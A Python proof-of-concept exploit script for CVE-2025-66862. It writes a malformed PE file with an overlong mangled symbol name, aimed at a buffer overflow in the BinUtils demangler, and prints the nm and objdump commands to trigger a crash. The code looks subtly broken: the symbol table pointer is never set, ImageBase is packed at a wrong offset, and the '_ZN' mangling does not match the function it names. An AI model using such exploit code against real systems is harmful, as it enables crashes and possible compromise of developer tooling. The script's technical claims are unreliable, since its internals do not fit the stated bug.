#!/usr/bin/env python3
"""
CVE-2025-66862 PoC - BinUtils cplus-dem.c Buffer Overflow
This PoC generates a malformed PE file that triggers buffer overflow
in gnu_special function when processed by BinUtils tools.
"""
import struct
import sys
def create_malformed_pe_with_overflow():
"""
Create a PE file with crafted C++ mangled symbol that triggers
gnu_special buffer overflow in BinUtils 2.26
"""
# PE DOS Header
dos_header = bytearray(64)
dos_header[0:2] = b'MZ' # DOS signature
struct.pack_into('<H', dos_header, 60, 64) # e_lfanew offset
# PE Signature
pe_sig = b'PE\x00\x00'
# COFF Header
coff_header = bytearray(20)
struct.pack_into('<H', coff_header, 0, 0x014c) # Machine: i386
struct.pack_into('<H', coff_header, 2, 1) # NumberOfSections
struct.pack_into('<I', coff_header, 12, 224) # SizeOfOptionalHeader
struct.pack_into('<H', coff_header, 16, 0x0102) # Characteristics
# Optional Header (Minimal)
optional_header = bytearray(224)
struct.pack_into('<H', optional_header, 0, 0x010b) # Magic: PE32
struct.pack_into('<I', optional_header, 16, 0x1000) # SizeOfCode
struct.pack_into('<I', optional_header, 20, 0x1000) # BaseOfCode
struct.pack_into('<Q', optional_header, 24, 0x400000) # ImageBase
struct.pack_into('<I', optional_header, 32, 0x1000) # SectionAlignment
struct.pack_into('<I', optional_header, 36, 0x200) # FileAlignment
struct.pack_into('<I', optional_header, 56, 0x10000) # SizeOfImage
# Section Header (.text)
section_header = bytearray(40)
section_header[0:8] = b'.text\x00\x00\x00'
struct.pack_into('<I', section_header, 8, 0x1000) # VirtualSize
struct.pack_into('<I', section_header, 12, 0x1000) # VirtualAddress
struct.pack_into('<I', section_header, 16, 0x200) # SizeOfRawData
struct.pack_into('<I', section_header, 20, 0x200) # PointerToRawData
struct.pack_into('<I', section_header, 36, 0x60000020) # Characteristics
# Crafted symbol table with overflow trigger
# The mangled name triggers gnu_special buffer handling issue
overflow_trigger = b'_ZN' + b'A' * 1000 + b'E' # Overly long mangled name
# Symbol table entry
symbol_table = bytearray(18)
struct.pack_into('<I', symbol_table, 0, 0) # Name (offset to string)
struct.pack_into('<I', symbol_table, 4, 0) # Value
struct.pack_into('<H', symbol_table, 8, 0) # SectionNumber
struct.pack_into('<H', symbol_table, 10, 0) # Type
struct.pack_into('<B', symbol_table, 12, 8) # StorageClass
struct.pack_into('<B', symbol_table, 13, 0) # NumberOfAuxSymbols
# String table (starts after symbol table)
string_table = overflow_trigger + b'\x00'
# Combine all parts
pe_file = dos_header
pe_file += pe_sig
pe_file += coff_header
pe_file += optional_header
pe_file += section_header
pe_file += b'\x00' * 0x200 # Padding to file alignment
pe_file += symbol_table
pe_file += string_table
return bytes(pe_file)
def main():
print("[*] Generating CVE-2025-66862 PoC PE file...")
pe_data = create_malformed_pe_with_overflow()
output_file = "cve-2025-66862-poc.exe"
with open(output_file, 'wb') as f:
f.write(pe_data)
print(f"[+] PoC file created: {output_file}")
print("[*] To trigger the vulnerability, run:")
print(f" nm {output_file}")
print(f" objdump -t {output_file}")
print("[*] This should cause BinUtils to crash due to buffer overflow")
if __name__ == "__main__":
main()